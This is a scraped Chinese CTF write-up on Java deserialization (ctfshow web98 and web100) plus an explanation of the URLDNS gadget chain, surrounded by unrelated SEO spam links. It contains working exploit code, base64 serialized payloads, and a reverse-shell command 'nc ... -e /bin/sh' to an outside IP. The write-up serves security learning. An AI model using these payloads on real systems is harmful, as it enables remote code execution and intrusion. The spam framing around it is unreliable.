当前位置: 首页 > news >正文

下载类网站 前置备案天津网站建设方案书

下载类网站 前置备案,天津网站建设方案书,管理咨询公司简介,wordpress 3.3.2目录 前置基础概念 java的反序列化利用概念baby题 例题1 例题2 java反序列化启蒙小结#xff1a; URLDNS链 一句话总结#xff1a; 简单分析#xff1a; 利用点#xff1a; 示例#xff1a; 前置基础概念 序列化 类实例-字节流 反序列化 字节流-类实…目录 前置基础概念 java的反序列化利用概念baby题 例题1 例题2 java反序列化启蒙小结 URLDNS链 一句话总结 简单分析 利用点 示例 前置基础概念 序列化  类实例-字节流 反序列化  字节流-类实例 序列化  writeObject 反序列化  readObject 类要能序列化满足的条件 1 实现java.io.Serializeble接口 2 该类的所有属性必须都是可序列化如果有一个属性是不可序列化的那么这个属性必须注明是transient或static 反序列化漏洞利用条件 1 有反序列化接口能够提交序列化的数据会自动调用对应类的readObject方法 2 有可以利用的类 readObject通过跳板最终可以实现文件读取、写入或者执行 3 serialVersionUID 相同来确保序列化和反序列化的类版本一致 java的反序列化利用概念baby题 例题1 web98 题目附件 package com.ctfshow.entity;public class User implements Serializable {private static final long serialVersionUID -3254536114659397781L;private String username;public User(String username) {this.username username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);} }先本地测一下 贴出测试的代码 package com.ctfshow.entity;import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;public class User implements Serializable {private static final long serialVersionUID -3254536114659397781L;private String username;public User(String username) {this.username username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);} } package main;import com.ctfshow.entity.User; import util.SerializeUtil;import java.io.IOException; import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {User user new User(calc);String payload new String(Base64.getEncoder().encode(SerializeUtil.serialize(user)));System.out.println(payload);SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));} } package util;import java.io.*;public class SerializeUtil {public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream new ByteArrayOutputStream();ObjectOutputStream objectOutputStream new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream new ObjectInputStream(byteArrayInputStream);Object o objectInputStream.readObject();return o;} }成功弹出计算器 最终exp package main;import com.ctfshow.entity.User; import util.SerializeUtil;import java.io.IOException; import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {User user new User(nc 124.222.136.33 1337 -e /bin/sh);String payload new String(Base64.getEncoder().encode(SerializeUtil.serialize(user)));System.out.println(payload); // SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));} } payload: userDatarO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA 反弹shell成功拿flag 当ban掉反序列化漏洞的类可以反序列化其子类也可以反序列化其父类 例题2 web100 简单打一下发现User类被ban不让反序列化了 审一下源码发现User类的父类BaseUser有恶意readObject方法可利用所以我们可以反序列化它的父类 题目附件 package com.ctfshow.entity;import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;public class User extends BaseUser implements Serializable {private String username;public User(String username) {this.username username;}public String getName(){return this.username;} } package com.ctfshow.entity;import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;public class BaseUser implements Serializable {private static final long serialVersionUID -9058183616471264199L;public String secretnull;private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.secret);}} 还是用上一题的Util类来辅助生成payload 但UserMain的exp要改一下 package main;import com.ctfshow.entity.BaseUser; import com.ctfshow.entity.User; import util.SerializeUtil;import java.io.IOException; import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {BaseUser baseUser new BaseUser();baseUser.secretnc 124.222.136.33 1337 -e /bin/sh;String payload new String(Base64.getEncoder().encode(SerializeUtil.serialize(baseUser)));System.out.println(payload); // SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));} } payload: userDatarO0ABXNyABtjb20uY3Rmc2hvdy5lbnRpdHkuQmFzZVVzZXKCSt3PfeUOQIAAUwABnNlY3JldHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAhbmMgMTI0LjIyMi4xMzYuMzMgMTMzNyAtZSAvYmluL3No 发现成功弹shell了 但题目显示反序列化错误 这是为什么呢 因为反序列化的时候涉及到一个类型强转 user (User) safeObjectInputStream.readUnshared(); 毕竟父类和子类属性方法不完全相同故会报错 但报错无妨BaseUser的readObject方法已经执行了达成了RCE的效果。 java反序列化启蒙小结 1 需要有1个提交反序列化字节流的地方 2 有可以被利用的类存在readObject方法 3 类反序列化后类实例已不再关注我们重点是执行了恶意readObject方法 URLDNS链 一句话总结 不需要其他依赖原生java库支持反序列化后触发一次dns请求 HashMap 存放键值对的集合 为了验证键有没有重复会对键 进行取哈希值操作 hashCode  相同就认为集合里面有这个键了为了避免一个键对应多个值所以会覆盖 简单分析 利用两个类 HashMap 和URL 类 HashMap存在 readObject方法putVal里调用了hash方法处理自己的key hash方法调用了key的hashCode方法 当我们传入的KEY是URL对象的时候就会调用URL对象的hashCode URL类的hashCode方法只要自己的hashCode是-1 就会调用自己handler属性的hashCode方法 handler是URLStreamHandler类它的hashCode方法 调用了getHostAddress方法 调用了URL类的getHostAddress方法 最终调用了 InetAddress.getByName(host); 实现了一次DNS请求。 利用点 1 验证反序列化漏洞存在 适合poc用 2 判断对方服务器是否出网 示例 package com.ctfshow.entity;import util.SerializeUtil;import java.io.IOException; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; import java.util.Map;public class CtfshowMain {public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {Map map new HashMapObject,Object();URL url new URL(http://success.ybdc5g9cxiy4b2muudcdlnfv4macy1.burpcollaborator.net);Field field Class.forName(java.net.URL).getDeclaredField(hashCode);((Field) field).setAccessible(true);field.set(url,-1);map.put(url,ctfshow);byte[] data SerializeUtil.serialize(map);SerializeUtil.unSerialize(data);} } 用Burp自带的Collaborator Client做dnslog 成功接收到dns请求
http://www.zqtcl.cn/news/406823/

相关文章:

  • 手机怎么创网站西宁企业做网站
  • 网站主机多大wordpress连接错误
  • 3d建站电商平台网站开发过程是什么
  • 优化核心系列网站wordpress下拉刷新
  • 深圳建站定制公司国外试用网站空间
  • 网站建设的原则有哪些内容建设网站的详细步骤
  • wordpress网站换字体宣传电脑的网站开发
  • 移动网站设计上机考试修改wordpress域名
  • 个体户 建设网站房子已交房 建设局网站查不到
  • 在自己的电脑建设空间网站百中搜优化软件
  • 专业房产网站建设公司wordpress导入项目
  • 网站安全建设必要性企业vi设计是什么意思
  • 建站工具有哪些社区兰州市城乡建设局网站通知公告
  • 深圳市移动端网站建设wordpress get_category_parents
  • 多用户商城(c2c)网站制作方案招聘网站如何做推广
  • 微信云网站用什么做做网站卖产品
  • 最专业的企业营销型网站建设简述无线网络优化的流程
  • 茶叶响应式网站做网站还有钱赚吗
  • 枣庄建设路小学网站资源下载wordpress
  • 青海建设厅网站首页建设一个网站论坛要多少钱
  • 网站稳定性深圳网站建设有限公司 2019
  • 西城专业网站建设公司哪家好优秀的网站建设解决方案
  • 做网站接广告手机百度引擎搜索入口
  • html5网站怎么建设后台怎么弄厦门微信网站建
  • 幻影图片一键制作网站建筑工程是干嘛的
  • 技术支持 东莞网站建设东莞天助免费网站申请域名39939cn
  • js打开网站wordpress线报主题
  • 怎么做网站首页弹幕外贸网站高端定做
  • asp.net mvc 做网站做网站原型的软件
  • wordpress网站恢复北京app建设 网站开发公司